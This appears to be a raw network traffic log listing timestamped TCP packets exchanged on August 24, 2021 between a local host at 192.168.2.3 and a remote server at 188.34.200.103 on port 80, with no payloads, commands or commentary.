Aug 24, 2021 14:01:42.635371923 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635389090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635409117 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635427952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635449886 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635467052 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635488033 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635503054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635518074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635540962 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635554075 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635580063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635600090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635626078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635632992 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635668039 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635680914 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635704994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635721922 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635742903 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635759115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635782003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635797977 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635818005 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635840893 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635857105 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635868073 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635885000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.635915041 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.635957956 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.912463903 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.932811022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933065891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933083057 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933099985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933115959 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933134079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933151960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933166981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933182955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933198929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933213949 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933229923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933231115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933247089 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933265924 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933283091 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933285952 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933298111 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933310986 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933314085 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933330059 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933343887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933345079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933361053 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933374882 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933376074 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933396101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933404922 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933413029 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933429003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933437109 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933445930 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933461905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933464050 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933476925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933492899 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933509111 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933516026 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933526993 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933545113 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933554888 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933559895 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933577061 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933585882 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933592081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933608055 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933615923 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933623075 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933638096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933656931 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933671951 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933674097 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933689117 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933702946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933705091 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933721066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933731079 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933736086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933751106 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933760881 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933765888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933784962 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933792114 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933801889 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933819056 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933825016 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933835030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933849096 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933850050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933866978 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933883905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933897018 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933900118 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933918953 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933936119 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933950901 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933958054 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933969975 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.933980942 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.933984995 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934000969 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934016943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934019089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934032917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934045076 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934051991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934070110 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934079885 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934084892 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934101105 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934112072 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934117079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934132099 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934146881 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934153080 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934163094 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934182882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934182882 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934200048 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934216022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934218884 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934231043 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934247017 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934252977 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934262991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934278011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934278965 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934293985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934313059 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934314966 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934329987 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934340954 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934345007 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934360981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934376955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934380054 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934403896 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934403896 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934420109 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934434891 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934436083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934453011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934472084 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934485912 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934489012 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934504986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934520006 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934535027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934551001 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934552908 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934567928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934582949 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934598923 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934602022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934619904 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934634924 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934643030 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934650898 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934668064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934684038 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934689999 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934700966 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.934722900 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.934753895 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.937387943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.937421083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.937438011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.937478065 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.937505007 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.045428038 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.065794945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.065982103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066016912 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066041946 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066070080 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066077948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066101074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066106081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066131115 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066131115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066154003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066155910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066174984 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066176891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066200018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066203117 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066221952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066221952 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066245079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066247940 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066268921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066271067 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066296101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066297054 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066319942 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066322088 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066343069 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066345930 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066365957 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066368103 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066387892 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066390038 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066410065 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066412926 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066437006 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066437006 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066454887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066458941 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066478968 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066485882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066499949 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066510916 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066519022 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066534996 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066561937 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066566944 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066593885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066601038 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066616058 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066623926 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066639900 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066648006 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066663027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066670895 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066685915 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066698074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066709042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066723108 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066731930 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066739082 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066757917 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066759109 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066778898 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066783905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066798925 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066807985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066819906 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066831112 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066843033 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066854000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066876888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066878080 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066898108 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066900015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066915035 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066925049 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066939116 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066951036 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066967010 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.066977024 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.066991091 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067001104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067023039 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067024946 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067038059 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067049026 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067064047 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067071915 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067095995 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067135096 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067140102 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067167997 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067174911 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067193031 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067195892 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067217112 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067231894 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067240953 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067256927 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067265034 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067289114 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067290068 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067315102 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067317963 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067338943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067341089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067362070 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067363977 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067385912 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067388058 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067408085 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067409992 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067425013 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067433119 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067449093 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067456961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067470074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067481041 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067491055 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067507982 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067512989 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067532063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067553043 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067564964 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067583084 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067591906 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067610025 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067615032 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067636013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067639112 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067660093 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067663908 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067683935 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067691088 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067706108 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067713022 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067729950 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067739010 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067751884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067759991 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067779064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067785978 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067804098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067806005 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067826986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067830086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067850113 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067851067 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067867994 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.067873955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067897081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.067898035 CEST	49728	80	192.168.2.3	188.34.200.103
